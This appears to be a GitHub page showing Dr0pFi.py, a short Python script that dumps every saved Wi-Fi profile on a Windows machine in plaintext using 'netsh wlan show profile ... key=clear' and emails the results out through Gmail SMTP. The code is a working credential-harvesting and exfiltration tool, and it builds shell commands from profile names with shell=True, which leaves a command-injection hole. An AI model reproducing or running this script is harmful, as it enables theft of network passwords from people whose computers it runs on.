forked from RakhithJK/Dr0pFi
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Dr0pFi.py
32 lines (21 loc) · 803 Bytes
/
Dr0pFi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import subprocess
import smtplib
import re
email = raw_input("[+] Enter your email >> ")
password = raw_input("[+] Enter your password >> ")
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
result = ""
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + " key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result
send_mail(email, password, result)